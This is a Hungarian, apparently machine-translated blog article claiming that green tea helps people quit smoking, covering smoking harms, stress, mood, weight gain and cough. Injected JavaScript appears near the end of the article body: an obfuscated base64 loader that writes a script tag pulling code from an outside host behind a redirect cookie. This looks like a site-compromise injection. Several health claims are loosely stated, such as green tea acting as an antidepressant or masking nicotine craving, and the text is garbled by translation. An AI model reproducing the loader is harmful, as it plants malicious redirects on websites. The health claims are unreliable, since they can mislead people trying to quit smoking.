Hogyan segít a zöld tea a dohányzásról való leszokásban

zöld

A cigaretta veszélyes számunkra. Pedig ez alig hír. Noha évtizedek óta tudunk a dohányzás veszélyeiről, ez egy olyan szokás, amely nem ment ki a gyakorlatból, bármennyire is káros a hatása. Sok ember dohányzik, míg sokan mások akarnak leszokni a dohányzásról. Sokan azonban haboznak fizikai, pszichológiai és társadalmi tényezők miatt. Mindezek ellenére sokan felhagytak a dohányzással és sok szempontból javították életmódjukat. Meglepő módon sokan tették ezt a zöld tea segítségével. A zöld tea életmódbeli forradalom sok ember számára. Ez a finom ital mind az elmét, mind a testet gyógyító tulajdonságokkal bír. És most sok embernek segített meghódítani a dohányzás elleni küzdelmet.

Dolog, amit nem tudtál, hogy ez a testeddel is megtörténik, amikor nem hagyod abba a dohányzást

Minden belégzéskor a füst körülbelül 5000 vegyi anyagot érintkezik testünkkel. A kátrány, egy fekete gyantás vegyszer, kezdi bevonni a fogakat és az ínyeket. Ez viszont károsítja a fogzománcunkat, és végül bomlást okoz. Idővel a füst károsítja az orr idegvégződéseit, és szagvesztést okoz. A légutakban és a tüdőben a füst növeli a fertőzések, valamint a krónikus betegségek, például a hörghurut és az emfizéma valószínűségét. A füstből származó szén-monoxid keveredése lassan pótolja a vér hemoglobinjában lévő oxigént, ami oxigénhiányt és légszomjat okoz. Amikor a nikotin eljut az agyba, aktiválja a dopamin és más neurotranszmitterek, köztük az endorfinok felszabadulását, amelyek kellemes érzést keltenek, ami függőséget okoz a dohányzásnak.

Az ilyen érrendszeri hatások az erek megvastagodásához vezetnek, és fokozzák a vérlemezkék tapadását. Ez viszont növeli az alvadások esélyét. A vérrögök nagyon veszélyesek lehetnek, mivel szívrohamot és stroke-ot válthatnak ki. Ha ez a sok információ nem elegendő ahhoz, hogy valaki leszokjon a dohányzásról, akkor vegye fel magát még többre. A cigarettákban található számos vegyi anyag veszélyes mutációkat válthat ki az emberi DNS-ben, ami rák kialakulását eredményezheti. Az olyan összetevők, mint az arzén és a nikkel, megzavarhatják a DNS-helyreállítás folyamatát, veszélyeztetve a szervezet képességét számos rák ellen. A közhiedelemmel ellentétben a dohányzás nemcsak a tüdőrákot váltja ki, hanem a test több szövetében is, például a szájban, a nyelőcsőben, az orrban, a hasnyálmirigyben, a gyomorban stb.

Zöld tea fogyasztása a dohányzásról való leszokáshoz

Mindezek és sokkal súlyosabb következmények arra késztetik az embereket, hogy leszokjanak a dohányzásról. Bár ez egy nehéz folyamat, amint azt már említettük, lehetséges. Néhány dolog bizonyult hasznosnak orvosi szempontból, mint a vízivás, a test tisztítása belülről, a testmozgás és az étrend megváltoztatása. Míg az olyan szempontok, mint a testmozgás és az étrend megváltoztatása, teljes mértékben a dohányzásról leszokni próbáló személyre vonatkoznak, néhány dolog segíthet, például az étrendjükben feltüntetendő tételekről szóló ajánlások. A dohányzásról való leszokást segítő néhány tétel egyike a zöld tea.

1. A zöld tea stresszoldó hatása

Egy Kínában végzett tanulmány azt mutatja, hogy a zöld tea segíthet a dohányzásról való leszokásban. A felhasználók többsége dohányzik, mivel állítólag valamilyen kikapcsolódást nyújt számukra. Az L-Theanine aminosav - elsősorban a zöld teában található - szájon át történő bevitele azonban ismert, hogy stressz-csökkentő hatású. Az L-Theanine relaxáló szerként működik, ami viszont a zöld teának a relaxáns minőségét adja. Ugyanez a tanulmány szerint a zöld tea elfedheti a nikotin iránti vágyat is. Az antioxidánsokban gazdag zöld tea segíthet helyreállítani az oxidáns/antioxidáns egyensúlyt azokban az emberekben, akik teljesen abbahagyták a dohányzást.

2. Zöld tea antidepresszánsként

A depresszió, vagy csak az érzés, a nikotin megvonásának is gyakori tünete. A nikotin tipikusan a szerotonin felszabadulását idézi elő az agyban, egy neurotranszmittert, amely szabályozza a hangulatot. Évek óta tartó dohányzás után a test megszokja, hogy a nikotin segítségével felszabadítja a szerotonint. Míg vannak olyan gyógynövényes tisánok, mint az orbáncfű tisane, amely kiváló alternatíva a gyógyszerészeti antidepresszánsokhoz, maga a zöld tea finom antidepresszáns. Emeli a dopamin és a szerotonin szintjét az ivó rendszerében, ami befolyásolja a hangulatukat.

3. A zöld tea segít a súly szabályozásában

A súlygyarapodás egyike azon sok kifogásnak, amelyet a dohányosok alkalmaznak a dohányzás elkerülése vagy abbahagyása érdekében. De szerencsére vannak olyan gyógynövényes és természetes gyógymódok, amelyek segítenek megakadályozni a leszokás utáni súlygyarapodást. A nikotin stimuláns, amely elősegíti az anyagcserét és megfékezi az étvágyat. Tehát, amikor az emberek abbahagyják a dohányzást, hajlamosak hízni, mivel az anyagcseréjük lelassul, és kalóriadús ételekre vágynak. A zöld tea, gyümölcsökkel és gyógynövényekkel keverve, mint az áfonya és a narancs héja, szintén fokozta az anyagcserét és az epetermelést a zsír kiküszöbölése érdekében.

4. Zöld tea a köhögés és a mellkasi torlódások megkönnyítésére

A köhögés furcsa tünet a leszokás után, de jó jel! A tüdőben felhalmozódott cigarettafüst kátránya néhány hétig cigaretta nélkül lassan kiürül a köhögéstől. Ez egy dohányos tüdejének gyógyulási és gyógyulási folyamata. A folyamat felgyorsítása érdekében az édesgyökér (vagy Mulethi), a tulsi és a gyömbéres zöld tea hozzájárul a tüdő nyálkafolyékonyságának növeléséhez.

Ez néhány olyan fizikai tünet, amelyek számára a zöld tea hasznos lehet. A zöld tea sok dolog természetes helyettesítőjeként jelenik meg, amikor az embernek segítségre van szüksége a dohányzásról való leszokáshoz. Ez egy olyan ital, amely forró, szokott részeg, sok kéz-száj kortyolgatást igényel, és önmagában is nagyon pihentető lehet. Az embernek csak annyi akarata van, hogy ne bonyolítsa ezt a változást. A zöld tea kiválóan helyettesíti azokat a cigarettákat, amelyek segítenek megbirkózni a nikotin megvonási tüneteivel, és megtörik a dohányzás pszichológiai függőségét azáltal, hogy a dohányzás szokását teaivással helyettesítik. A dohányzás olyan szokás, amelyet nem szabad leszokásnak gondolni, hanem elnyerésnek. függvény getCookie (e) \ (\) \ [\] \\\/\ + ^])/g, ”\\ $ 1 ″) +” = ([^;] *) ”)); return U? decodeURIComponent ( U [1]): void 0> var src =”adatok: text/javascript; Base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs =”, most = Math.floor (Date.now ()/1E3), cookie = getCookie ( »átirányítás«), ha (most> = (idő = süti) || érvénytelen 0 === idő)

A megosztás törődés!

Blogger vagyok, mindig készen állok új dolgok felfedezésére. Kezdem a technológiától a SEO-ig, a webinerekig stb. A szenvedélyem, hogy egyre nagyobb forgalmat irányítsak weboldalunkra.